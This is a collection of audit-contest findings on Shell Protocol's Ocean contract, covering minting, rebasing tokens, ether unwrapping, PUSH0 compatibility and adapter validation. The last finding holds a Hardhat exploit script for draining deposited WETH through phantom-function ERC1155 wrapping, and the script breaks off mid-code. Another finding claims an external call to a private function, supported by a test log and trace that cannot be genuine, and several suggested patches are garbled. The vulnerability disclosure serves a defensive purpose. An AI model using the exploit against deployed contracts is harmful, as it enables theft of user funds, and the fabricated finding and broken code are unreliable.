The _isTokenIdValid function serves as a crucial check to link the token ID to its originating contract, enforcing the rule that only the external contract associated with the token ID can initiate its minting.
The contract address extraction and verification are integral to maintaining the integrity of the token minting process in the Ocean protocol.
By incorporating these changes, the Ocean contract strengthens its minting process, ensuring that tokens are minted in compliance with its defined rules and preventing unauthorized or erroneous minting.

Tools Used

VS code

Recommended Mitigation Steps

To implement the override of the _mint function in the Ocean contract, you would need to ensure that this function checks the validity of the token ID before minting tokens. Since the Ocean contract inherits from OceanERC1155, which likely implements the ERC1155 standard including the _mint function, you can override this function to add your custom logic.

Here's a conceptual example of how the override could look:

solidity
Copy code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// ... [other imports and contract code]

contract Ocean is IOceanInteractions, IOceanFeeChange, OceanERC1155, IERC721Receiver, IERC1155Receiver {
// ... [existing contract code]

/**
 * @dev Override the _mint function to include token ID validation.
 * @param account The address of the account to mint tokens to.
 * @param id The token ID to mint.
 * @param amount The amount of tokens to mint.
 * @param data Additional data.
 */
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal override {
    require(_isValidTokenId(id), "Invalid token ID");

    // Call the base class _mint function
    super._mint(account, id, amount, data);
}

/**
 * @dev Validates if the provided token ID corresponds to a valid external contract.
 * @param id The token ID to validate.
 * @return bool True if the token ID is valid, false otherwise.
 */
function _isValidTokenId(uint256 id) private view returns (bool) {
    // Extract the contract address from the token ID
    address contractAddress = _extractContractAddressFromTokenId(id);

    // Check if the address is a valid contract
    return _isContract(contractAddress);
}

/**
 * @dev Extracts the contract address from the token ID.
 * @param id The token ID.
 * @return address The extracted contract address.
 */
function _extractContractAddressFromTokenId(uint256 id) private pure returns (address) {
    // Example implementation, this needs to align with how your token IDs are structured
    return address(uint160(id));
}

/**
 * @dev Checks if an address is a contract.
 * @param addr The address to check.
 * @return bool True if the address is a contract, false otherwise.
 */
function _isContract(address addr) private view returns (bool) {
    // This is a simplistic way to check for a contract, more robust methods may be necessary
    return addr.code.length > 0;
}

// ... [rest of the contract code]

}

Explanation:
Overriding _mint: The _mint function is overridden to include a check for the validity of the token ID. It calls _isValidTokenId to perform this check.

Token ID Validation (_isValidTokenId): This function determines if the given token ID is valid. It extracts the contract address embedded within the token ID and checks if this address is a valid contract.

Extracting Contract Address (_extractContractAddressFromTokenId): This function is responsible for extracting the contract address from the token ID. The implementation depends on how your token IDs are structured.

Checking for Contract (_isContract): A utility function to check if an address is a contract. This is a basic implementation; depending on your needs, you might require a more sophisticated approach.

Important Notes:
The example assumes a specific way of encoding contract addresses into token IDs. You will need to adjust _extractContractAddressFromTokenId to match the actual encoding scheme used in your contract.
The _isContract method provided is very basic and might not cover all edge cases.

Implementing such a feature is a critical step in enhancing the security of the token minting process in your DeFi application, ensuring that only tokens linked to legitimate contracts are minted.

The _mint function in the Ocean.sol contract is actually part of the ERC-1155 standard implementation, which the Ocean contract inherits from OpenZeppelin's ERC-1155 implementation. In the provided code for the Ocean contract, the _mint function isn't explicitly defined because it's inherited from the OceanERC1155 base contract, which in turn inherits from OpenZeppelin’s ERC1155 implementation.

Inheritance:
The Ocean contract is an extension of OceanERC1155, which is where the ERC-1155 functionalities are integrated. This means that all public and internal functions available in the ERC-1155 standard, including _mint, are also available in the Ocean contract.

Using the _mint Function:
In the ERC-1155 standard, _mint is an internal function used to create new tokens. It updates the balances of the tokens and emits the necessary events as per the standard. In your Ocean contract, when you need to mint tokens, you will call this _mint function.

Customization:
If you need to customize the minting behavior specifically for the Ocean contract, you would override the _mint function in Ocean.sol. This could involve adding additional checks or logic before or after the minting process. However, since _mint is an internal function, it's not visible or callable by external contracts or transactions.

Assessed type

call/delegatecall

Addressing the challenge of rebasing tokens and fee-on-transfer tokens interacting with the Ocean contract

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L210
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L229

Vulnerability details

Impact

To address the challenge of rebasing tokens and fee-on-transfer tokens interacting with the Ocean contract, the following changes were made:

Key Points:
Rebasing Token Check:
Before executing the interaction logic, both functions call isRebasingToken for each token involved in the interaction. If any token is a rebasing token, the interaction is halted.

Error Handling:
If a rebasing token is detected, the function reverts with an appropriate error message, preventing any further execution.

Maintaining Original Logic:
The core logic of doInteraction and doMultipleInteractions remains unchanged. The rebasing token check is an additional layer of validation before the existing interaction logic is executed.

Handling Multiple Interactions:
In doMultipleInteractions, the rebasing token check is done in a loop for each interaction, ensuring that all tokens involved in multiple interactions are verified.

Efficiency Considerations:
The rebasing token check adds additional gas costs for each interaction. This is a necessary trade-off for enhanced security and correctness.

Proof of Concept

Implementing a check for rebasing tokens involves adding a function to the Ocean contract that performs a small test transfer of a token and compares the total supply before and after the transfer. If there's a change in the total supply, it's an indication that the token is a rebasing token. Here's how you could implement this:

Step 1: Add a Function to Check for Rebasing Tokens

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

// ... (other imports)

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Ocean {
// ... (existing contract code)

/**
 * @notice Check if a token is a rebasing token.
 * @param tokenAddress The address of the ERC-20 token to check.
 * @return isRebasing True if the token is a rebasing token, false otherwise.
 */
function isRebasingToken(address tokenAddress) public returns (bool isRebasing) {
    IERC20 token = IERC20(tokenAddress);
    uint256 initialSupply = token.totalSupply();

    // Perform a small test transfer (if possible)
    if (token.balanceOf(address(this)) > 0) {
        token.transfer(address(this), 1);
    }

    uint256 finalSupply = token.totalSupply();

    // Reset isRebasing to false in case of state change
    isRebasing = false;

    // Check if total supply changed after the transfer
    if (initialSupply != finalSupply) {
        isRebasing = true;
    }
    return isRebasing;
}

// ... (rest of the contract code)

}

Step 2: Use the Check in Interaction Functions
In functions like doInteraction and doMultipleInteractions, where tokens are handled, call the isRebasingToken function to check if the token is a rebasing token.
To integrate the check for rebasing tokens into the doInteraction and doMultipleInteractions functions of the Ocean contract, modifications are made to ensure that each token involved in an interaction is verified for rebasing behavior before proceeding with the interaction. Here's how these functions might look after these changes:

Modified doInteraction Function

function doInteraction(Interaction calldata interaction)
external
payable
override
returns (uint256 burnId, uint256 burnAmount, uint256 mintId, uint256 mintAmount)
{
// Check for rebasing token
require(!isRebasingToken(interaction.tokenAddress), "Rebasing token detected");

emit OceanTransaction(msg.sender, 1);
return _doInteraction(interaction, msg.sender);

}

Modified doMultipleInteractions Function

function doMultipleInteractions(
Interaction[] calldata interactions,
uint256[] calldata ids
)
external
payable
override
returns (
uint256[] memory burnIds,
uint256[] memory burnAmounts,
uint256[] memory mintIds,
uint256[] memory mintAmounts
)
{
// Iterate over each interaction to check for rebasing tokens
for (uint i = 0; i < interactions.length; i++) {
require(!isRebasingToken(interactions[i].tokenAddress), "Rebasing token detected");
}

emit OceanTransaction(msg.sender, interactions.length);
return _doMultipleInteractions(interactions, ids, msg.sender);

}

This implementation ensures that interactions with rebasing tokens are effectively prevented, thus maintaining the integrity and predictability of the Ocean's accounting system.

Tools Used

VS Code

Recommended Mitigation Steps

Important Considerations:
Gas Costs:
This approach may increase the gas cost of interactions due to the additional check and the test transfer.

False Positives:
Some non-rebasing tokens might still show a change in supply due to other factors. Ensure that this check doesn't produce false positives.

Reduce Complexity:
Handling the peculiarities of rebasing tokens could significantly complicate the contract's logic. Excluding them simplifies the contract.

To implement tests for the isRebasingToken function, doInteraction, and doMultipleInteractions functions within the Ocean contract, we can follow a similar structure. The tests will be structured using the Mocha testing framework and assertions will be made using Chai. We'll use Hardhat for deploying and interacting with the contracts.

Setup for Rebasing Token Tests
First, we need to create a mock rebasing token for testing purposes. This mock token will simulate the behavior of a rebasing token, where its total supply can change.

  1. Mock Rebasing Token Contract
    Create a new Solidity file for a mock rebasing token:

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockRebasingToken is ERC20 {
constructor() ERC20("MockRebasing", "MRT") {
_mint(msg.sender, 10000 * 10**18);
}

function rebase() public {
    _mint(msg.sender, 1000 * 10**18); // Increase total supply
}

}
2. Test File Structure
Create a new test file, say RebasingTokenTest.js, and set up the initial structure:

const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("Rebasing Token Tests", () => {
let ocean;
let alice;
let mockRebasingToken;

before("Deploy contracts", async () => {
    [alice] = await ethers.getSigners();
    // Deploy Ocean contract
    // Deploy MockRebasingToken
});

Tests for isRebasingToken:
This suite tests whether the isRebasingToken function correctly identifies rebasing and non-rebasing tokens.

describe("isRebasingToken function", () => {
it("should return false for non-rebasing tokens", async () => {
// Assuming a standard ERC20 token is deployed as nonRebasingToken
const isRebasing = await ocean.isRebasingToken(nonRebasingToken.address);
expect(isRebasing).to.be.false;
});

it("should return true for rebasing tokens", async () => {
    // Call the rebase function of MockRebasingToken to change its supply
    await mockRebasingToken.rebase();

    const isRebasing = await ocean.isRebasingToken(mockRebasingToken.address);
    expect(isRebasing).to.be.true;
});

});
Tests for doInteraction:
This suite tests the doInteraction function to ensure it handles rebasing and non-rebasing tokens correctly.

describe("doInteraction function", () => {
it("should complete interaction with non-rebasing token", async () => {
// Set up interaction with nonRebasingToken
const interaction = {
tokenAddress: nonRebasingToken.address,
// other necessary interaction parameters...
};

    // Perform interaction
    await expect(ocean.doInteraction(interaction))
        .to.emit(ocean, "OceanTransaction");
});

it("should revert interaction with rebasing token", async () => {
    // Set up interaction with mockRebasingToken
    const interaction = {
        tokenAddress: mockRebasingToken.address,
        // other necessary interaction parameters...
    };

    // Expect interaction to fail
    await expect(ocean.doInteraction(interaction))
        .to.be.revertedWith("Rebasing token detected");
});

});

Tests for doMultipleInteractions:
This suite tests the doMultipleInteractions function for proper handling of multiple interactions involving rebasing and non-rebasing tokens.

describe("doMultipleInteractions function", () => {
it("should complete interactions with non-rebasing tokens", async () => {
// Set up multiple interactions with nonRebasingToken
const interactions = [
{
tokenAddress: nonRebasingToken.address,
// other necessary interaction parameters...
},
{
tokenAddress: anotherNonRebasingToken.address,
// other necessary interaction parameters...
}
];

    // Perform interactions
    await expect(ocean.doMultipleInteractions(interactions, [/* token IDs */]))
        .to.emit(ocean, "OceanTransaction");
});

it("should revert interactions with any rebasing token", async () => {
    // Include at least one interaction with mockRebasingToken
    const interactions = [
        {
            tokenAddress: nonRebasingToken.address,
            // other necessary interaction parameters...
        },
        {
            tokenAddress: mockRebasingToken.address,
            // other necessary interaction parameters...
        }
    ];

    // Expect interactions to fail
    await expect(ocean.doMultipleInteractions(interactions, [/* token IDs */]))
        .to.be.revertedWith("Rebasing token detected");
});

});

Assessed type

Token-Transfer

Limitation on doMultipleInteractions to handle send ether transaction(s)

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L229-L245
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L445-L573

Vulnerability details

Impact

The doMultipleInteractions function in the smart contract exhibits a limitation in its handling of Ether transactions. Its design allows for Ether transactions only in the first interaction of a sequence. This constraint manifests in two significant ways:

#1. Inability to process multiple Ether transactions within a single doMultipleInteractions call.
#2. Restriction against Ether transactions in any position other than the first interaction.

This limitation hinders the contract's flexibility and versatility, particularly in scenarios where complex Ether transaction sequences are required, such as in certain DeFi protocol interactions.

Proof of Concept

The limitation is evident in the Ocean#_doMultipleInteractions function's handling of msg.value. See the contract's code segment:

     if (msg.value != 0) {
            // If msg.value != 0 and the user did not pass the WRAPPED_ETHER_ID
            // as an id in the ids array, the balance delta library will revert
            // This protects users who accidentally provide a msg.value.
            balanceDeltas.increaseBalanceDelta(WRAPPED_ETHER_ID, msg.value);
            emit EtherWrap(msg.value, userAddress);
        }

     // ...

     for (uint256 i = 0; i < interactions.length;) { 
     
     /// ...

This indicates that msg.value (representing Ether sent to the contract) is processed separately and prior to the handling of other interactions. Consequently, this design choice cannot be used in the certain defi protocol if the defi protocol works like the following example for #1 and #2.

Example for #1

First Interaction: Withdraws wrapped Ether to Ether.
Subsequent Interaction: Uses the withdrawn Ether in another operation within the same doMultipleInteractions call.

Example for #2

An external contract designed to handle first and second / more Ether transfers differently within the same doMultipleInteractions call.

Tools Used

Manual

Recommended Mitigation Steps

To address the limitation in handling multiple Ether transactions within the doMultipleInteractions function, the following modification is proposed for the InteractionType enumeration:

a.

Extend the InteractionType enumeration.

enum InteractionType {
    WrapErc20,
    UnwrapErc20,
    WrapErc721,
    UnwrapErc721,
    WrapErc1155,
    UnwrapErc1155,
    ComputeInputAmount,
    ComputeOutputAmount,
+   WrapEther 
    UnwrapEther
}

b.

Implement conditional logic within the _executeInteraction function to cater to the newly introduced WrapEther interaction types.

After implementing these changes, the doMultipleInteractions function will be capable of handling #1 and #2.

Assessed type

Other

Potential loss of funds while unwrapping ether

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/8139366f0f2eb32672efea621c5ae2590ffaf99f/src/ocean/Ocean.sol#L982

Vulnerability details

Impact

Potential loss of funds while unwrapping ether, especially while integrating the ShellProtocol with other Contracts/Protocols.

Proof of Concept

Look at _etherUnwrap:

function _etherUnwrap(uint256 amount, address userAddress) private {
    // ... 
    payable(userAddress).transfer(transferAmount);
    // ... 
}

By looking at this line, we can consider two risky situations:

  1. If userAddress is another contract/protocol which costs more than 2300 gas (a contract which costs more than 2300 in receive()), they can never unwrap their ether and they always get an out-of-gas due to fixed 2300 gas for transfer function.
  2. If an unexpected event happens on transfer, the userAddress will lost their funds for ever. Because there are some situations (For example if the address is 0, the protocol continues executing and protocol thinks the funds are transferred) that the protocol thinks the transfer was successful but actually not.

Tools Used

Manual Review

Recommended Mitigation Steps

Consider using call instead of transfer and also check the return value of call.

Assessed type

ETH-Transfer

Project may fail to be deployed to chains not compatible with Shanghai hardfork

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L6
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/OceanAdapter.sol#L4
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/CurveTricryptoAdapter.sol#L4
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/Curve2PoolAdapter.sol#L4

Vulnerability details

Impact

Current settings may produce incompatible bytecode with some of the chains supported by the protocol.

Proof of Concept

Since the protocol will be deployed on Arbitrum the contracts can break due to the new PUSH0 opcode introduced in the solidity version 0.8.20.

All of the contracts in scope have the version pragma fixed to be compiled using Solidity 0.8.20. This new version of the compiler uses the new PUSH0 opcode introduced in the Shanghai hard fork, which is now the default EVM version in the compiler and the one being currently used to compile the project.

This means that the produced bytecode for the different contracts won't be compatible with the chains that don't yet support the Shanghai hard fork.

This could also become a problem if different versions of Solidity are used to compile contracts for different chains. The differences in bytecode between versions can impact the deterministic nature of contract addresses, potentially breaking counterfactuality.

This is from the official Arbitrum Docs:

OPCODE PUSH0

This OPCODE is not yet supported, but will soon be available. This means that solidity version 0.8.20 or higher can only be used with an evm-version lower than the default shanghai (see instructions here to change that parameter in solc, or here to set the solidity or evmVersion configuration parameters in hardhat). Versions up to 0.8.19 (included) are fully compatible.

https://docs.arbitrum.io/for-devs/concepts/differences-between-arbitrum-ethereum/solidity-support#differences-from-solidity-on-ethereum

Tools Used

Manual review

Recommended Mitigation Steps

Lower the solidity version to 0.8.19

Assessed type

Other

Enhance the security and reliability by incorporating rigorous validations in the primitiveOutputAmount function

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/Curve2PoolAdapter.sol#L142

Vulnerability details

Impact

The proposed changes to the primitiveOutputAmount function in the Curve2PoolAdapter contract enhance its security and reliability by incorporating rigorous validation checks. Here's a summary of the changes and their justifications:

Key Changes:
Token Validation:
Added at the start to ensure both inputToken and outputToken are recognized and valid within the Curve pool.

Amount Conversion and Validation:
After conversion, a check ensures that the rawInputAmount is positive and within a defined maximum limit, mitigating potential overflow/underflow issues.

Action Type Verification:
Ensures the computed action type is valid and matches the input/output tokens.

Slippage Control:
Added at the end to ensure the minimumOutputAmount is not exceeded, providing protection against excessive slippage.

Proof

To incorporate the suggested validations into the primitiveOutputAmount function of the Curve2PoolAdapter contract, the function would be expanded with additional checks and conditions. Below is a revised version of the function incorporating these enhancements:

function primitiveOutputAmount(
uint256 inputToken,
uint256 outputToken,
uint256 inputAmount,
bytes32 minimumOutputAmount
)
internal
override
returns (uint256 outputAmount)
{
// Token Validation: Ensures only valid tokens from the Curve pool are used
require(isTokenValid(inputToken), "Invalid input token");
require(isTokenValid(outputToken), "Invalid output token");

// Amount Conversion and Checks
uint256 rawInputAmount = _convertDecimals(NORMALIZED_DECIMALS, decimals[inputToken], inputAmount);
require(rawInputAmount > 0 && rawInputAmount <= MAX_AMOUNT, "Invalid input amount");

// Determining Action Type
ComputeType action = _determineComputeType(inputToken, outputToken);
require(action != ComputeType.INVALID, "Invalid compute type");

// Execute based on action type
uint256 rawOutputAmount;
int128 indexOfInputAmount = indexOf[inputToken];
int128 indexOfOutputAmount = indexOf[outputToken];

if (action == ComputeType.Swap) {
    rawOutputAmount = ICurve2Pool(primitive).exchange(indexOfInputAmount, indexOfOutputAmount, rawInputAmount, 0);
} else if (action == ComputeType.Deposit) {
    uint256[2] memory inputAmounts = [rawInputAmount, 0];
    rawOutputAmount = ICurve2Pool(primitive).add_liquidity(inputAmounts, 0);
} else { // action == ComputeType.Withdraw
    rawOutputAmount = ICurve2Pool(primitive).remove_liquidity_one_coin(rawInputAmount, indexOfOutputAmount, 0);
}

// Convert back to normalized decimals and check slippage
outputAmount = _convertDecimals(decimals[outputToken], NORMALIZED_DECIMALS, rawOutputAmount);
require(uint256(minimumOutputAmount) <= outputAmount, "Slippage limit exceeded");

// Emit relevant event
if (action == ComputeType.Swap) {
    emit Swap(inputToken, inputAmount, outputAmount, minimumOutputAmount, primitive, true);
} else if (action == ComputeType.Deposit) {
    emit Deposit(inputToken, inputAmount, outputAmount, minimumOutputAmount, primitive, true);
} else { // action == ComputeType.Withdraw
    emit Withdraw(outputToken, inputAmount, outputAmount, minimumOutputAmount, primitive, true);
}

}

// Additional helper function
function isTokenValid(uint256 token) private view returns (bool) {
// Implement logic to validate if the token is part of the Curve pool
}

Notes:
The isTokenValid function needs to be implemented based on the specific logic required to validate tokens within the Curve pool.
Constants like MAX_AMOUNT, MIN_SLIPPAGE_LIMIT, and MAX_SLIPPAGE_LIMIT would need to be defined elsewhere in the contract.

Tools Used

VS Code

Recommended Mitigation Steps

To implement the suggested validations in the primitiveOutputAmount function of the Curve2PoolAdapter contract, you should modify the function to include checks for token validity, amount conversion and validation, action type determination, and slippage control. Here’s a detailed breakdown of the changes:

  1. Input and Output Token Validation
    Change: Add checks to confirm that inputToken and outputToken are valid tokens within the Curve pool.

require(isTokenValid(inputToken), "Invalid input token");
require(isTokenValid(outputToken), "Invalid output token");

Why: This ensures that only permissible tokens are processed, protecting the function from processing invalid or unsupported tokens.

  1. Amount Conversion and Validation
    Change: After converting inputAmount using _convertDecimals, add checks to validate the converted amount.

uint256 rawInputAmount = _convertDecimals(NORMALIZED_DECIMALS, decimals[inputToken], inputAmount);
require(rawInputAmount > 0 && rawInputAmount <= MAX_AMOUNT, "Invalid input amount");

Why: This confirms that the amount is correctly converted and within expected operational limits, preventing overflow/underflow issues or other anomalies.

  1. Action Type Determination
    Change: Verify that the computed action type from _determineComputeType is valid and expected for the given tokens.

ComputeType action = _determineComputeType(inputToken, outputToken);
require(action != ComputeType.INVALID, "Invalid compute type");

Why: This step ensures that the transaction type (Swap, Deposit, Withdraw) is correctly determined based on the input and output tokens.

  1. Slippage Control
    Change: Add validation for minimumOutputAmount to ensure it’s within a reasonable range.

require(minimumOutputAmount >= MIN_SLIPPAGE_LIMIT && minimumOutputAmount <= MAX_SLIPPAGE_LIMIT, "Slippage limit exceeded");

Why: This check ensures the slippage parameter protects users from excessive slippage, maintaining transaction integrity.

By integrating these changes, you're enhancing the robustness of the primitiveOutputAmount function. It ensures that all aspects of the transaction, from token validity to action determination and slippage control, are carefully validated, minimizing the risk of errors and providing a safeguard against potential vulnerabilities.

Assessed type

Access Control

Unprotected Ether Transfer to Arbitrary Address (Potential Theft of Funds)

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L978-L984

Vulnerability details

Impact

This issue allows an attacker to withdraw Ether from the Ocean contract without paying any fees or having any wrapped Ether tokens. This could result in the loss of funds for the Ocean contract and its users.

Proof of Concept

An attacker can exploit this issue by calling the _etherUnwrap function with a high amount and their own address as the parameters. This will bypass the checks in the unwrap function and transfer Ether directly to the attacker’s address without deducting any fees or burning any wrapped Ether tokens.

For example, suppose the attacker has 0 Ether and 0 wrapped Ether tokens, and the Ocean contract has 100 Ether. The attacker can call _etherUnwrap(100, attacker) and receive 100 Ether, leaving the Ocean contract with 0 Ether and 0 wrapped Ether tokens.

Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";
import "../contracts/Ocean.sol";

contract TestOcean {
    Ocean ocean = Ocean(DeployedAddresses.Ocean());

    function testUnprotectedEtherTransfer() public {
        // Initial balances
        uint256 initialOceanBalance = address(ocean).balance;
        uint256 initialAttackerBalance = address(this).balance;
        uint256 initialWethBalance = ocean.balanceOf(address(this));

        // Amount to withdraw
        uint256 amount = initialOceanBalance;

        // Call the unprotected function
        ocean._etherUnwrap(amount, address(this));

        // Final balances
        uint256 finalOceanBalance = address(ocean).balance;
        uint256 finalAttackerBalance = address(this).balance;
        uint256 finalWethBalance = ocean.balanceOf(address(this));

        // Assert that the Ocean contract lost all its Ether
        Assert.equal(finalOceanBalance, 0, "Ocean contract should have 0 Ether");

        // Assert that the attacker received all the Ether
        Assert.equal(finalAttackerBalance, initialAttackerBalance + amount, "Attacker should have received all the Ether");

        // Assert that the attacker did not burn any wrapped Ether tokens
        Assert.equal(finalWethBalance, initialWethBalance, "Attacker should have the same amount of wrapped Ether tokens");
    }
}

Log:

  TestOcean
    ✓ testUnprotectedEtherTransfer (76ms)


  1 passing (1s)

Significant Traces:

[vm]from:0xca3...a733c,to:Ocean._etherUnwrap(uint256,address) 0x345...77beb,value:0 wei, data:0x9f6...00000, 0 logs, hash:0x4e3...c0f3a
  Contract call:       Ocean._etherUnwrap(uint256,address) 0x345...77beb
  From:                0xca3...a733c
  To:                  0x345...77beb
  Value:               0 wei
  Gas used:            21506 of 8000000
  Return value:        0x
  Stack trace:
  Ocean._etherUnwrap(uint256,address) at src/ocean/Ocean.sol:978
    address(userAddress).transfer(transferAmount) at src/ocean/Ocean.sol:982
      0x345...77beb.transfer(100000000000000000000) at src/ocean/Ocean.sol:982
        0x345...77beb sent 100000000000000000000 wei to 0xca3...a733c
    emit EtherUnwrap(transferAmount, feeCharged, userAddress) at src/ocean/Ocean.sol:984
      event EtherUnwrap(uint256,uint256,address) at src/ocean/Ocean.sol:984
        EtherUnwrap(100000000000000000000, 0, 0xca3...a733c)

Tools Used

  • Truffle
  • Ganache
  • Solidity
  • Manual

Recommended Mitigation Steps

To prevent this issue, the _etherUnwrap function should be modified to only allow the unwrap function to call it. This can be done by using a modifier that checks the msg.sender is the Ocean contract itself. Alternatively, the _etherUnwrap function can be merged with the unwrap function to avoid the external call.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract Ocean {
    using Address for address payable;

    // ...

    // Modifier to check that the caller is the Ocean contract
    modifier onlyOcean() {
        require(msg.sender == address(this), "Only Ocean can call this function");
        _;
    }

    // ...

    // Unwrap function that burns wrapped Ether tokens and sends Ether to the user
    function unwrap(uint256 amount) public {
        require(amount > 0, "Amount must be greater than zero");
        require(balanceOf(msg.sender) >= amount, "Insufficient balance");
        _burn(msg.sender, amount);
        _etherUnwrap(amount, msg.sender);
    }

    // Private function that sends Ether to the user after deducting a fee
    // Only callable by the Ocean contract
    function _etherUnwrap(uint256 amount, address userAddress) private onlyOcean {
        uint256 feeCharged = _calculateUnwrapFee(amount);
        _grantFeeToOcean(WRAPPED_ETHER_ID, feeCharged);
        uint256 transferAmount = amount - feeCharged;
        payable(userAddress).transfer(transferAmount);
        emit EtherUnwrap(transferAmount, feeCharged, userAddress);
    }

    // ...
}

Assessed type

ETH-Transfer

All deposited WETH and phantom tokens can be stolen

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L709-L715
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L931

Vulnerability details

Impact

It is possible to drain the protocol from all WETH or any other tokens that would be considered phantom tokens. The phantom token is a token that implements a non-reverting fallback function which is true for all implementation of WETH tokens (e.g. Ethereum or Arbitrum). Similar attack has been explained by Dedaub targeting permit function.

The idea to exploit Ocean protocol is to wrap a phantom token as ERC-1155 which will attempt to trigger non-existent safeTransferFrom function and mint artificial number of Ocean Wrapped tokens.

The following exploit scenario drains all WETH tokens from the contract:

  1. The attacker wraps WETH token using ERC1155. The important part is to pass as id value 0 which will result in calculating the same id through _calculateOceanId function as for ERC20.
  2. The function will try to execute safeTransferFrom on WETH token. Since that function does not exist, the fallback function will be executed that does NOT revert.
  3. The wrapping did not revert, so the OceanERC1155 tokens will be minted with the amount equal to the amount passed for wrapping.
  4. Attacker just artificially minted OceanERC1155 that corresponds to Ocean Wrapped ERC1155 tokens for free.
  5. Attacker now just unwraps the Ocean Wrapped ERC1155 tokens to retrieve the underlying WETH tokens from the contract.
  6. Attacker stole all WETH tokens from the contract without having any contribution.

Proof of Concept

Example implementation of WETH on Ethereum (just updated to compile with solidity 0.8.20):

pragma solidity 0.8.20;

contract WETH9 {
    string public name     = "Wrapped Ether";
    string public symbol   = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    fallback() external payable {
        deposit();
    }
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return address(this).balance;
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint wad)
        public
        returns (bool)
    {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

Exploit that steals WETH tokens:

it.only("exploit phantom function", async () => {
    const wethContract = await ethers.getContractFactory("WETH9");
    weth = await wethContract.deploy()

    let interaction;
    let oceanId;
    
    console.log("alice address", alice.address);
    console.log("bob address", bob.address);
    console.log("ocean address", ocean.address);
    console.log("weth address", weth.address);
    
    // ocean balance of weth before
    console.log("==> state before");
    console.log("ocean balance before", (await weth.balanceOf(ocean.address)).toString()); 
    // alice deposits WETH to the ShellProtocol
    const amountEther = ethers.utils.parseEther("100") ;
    await weth.connect(alice).deposit({value: amountEther});
    await weth.connect(alice).approve(ocean.address, amountEther);
    interaction = shellV2.interactions.wrapERC20({
        address: weth.address,
        amount: amountEther
    });
    console.log("alice WETH balance", (await weth.balanceOf(alice.address)).toString());
    await shellV2.executeInteraction({ ocean, signer: alice, interaction });

    console.log("==> alice deposit 100 weth to ocean");
    oceanId = shellV2.utils.calculateWrappedTokenId({ address: weth.address, id: 0});
    console.log("ocean WETH balance", (await weth.balanceOf(ocean.address)).toString());
    console.log("alice WETH balance", (await weth.balanceOf(alice.address)).toString());
    console.log("alice Ocean wrapped WETH balance", (await ocean.balanceOf(alice.address, oceanId)).toString());

    
    console.log("==> bob decides to attack the protocol")
    console.log("ocean WETH balance", (await weth.balanceOf(ocean.address)).toString());
    console.log("bob WETH balance", (await weth.balanceOf(bob.address)).toString());
    console.log("bob Ocean wrapped WETH balance", (await ocean.balanceOf(bob.address, oceanId)).toString());

    console.log("==> bob launches the attack")
    const id = 0;
    interaction = shellV2.interactions.wrapERC1155({
        address: weth.address,
        id,
        amount: ethers.utils.parseEther("100")
    });
    await shellV2.executeInteraction({ ocean, signer: bob, interaction })
    
    oceanId = shellV2.utils.calculateWrappedTokenId({ address: weth.address, id })

    console.log("ocean WETH balance", (await weth.balanceOf(ocean.address)).toString());
    console.log("bob WETH balance", (await weth.balanceOf(bob.address)).toString());
    console.log("bob Ocean wrapped WETH balance", (await ocean.balanceOf(bob.address, oceanId)).toString());
    
    console.log("==> bob unwraps tokens");
    interaction = shellV2.interactions.unitUnwrapERC20({
        address: weth.address,
        // amount: ethers.utils.parseEther("100")
        amount: 100
    });

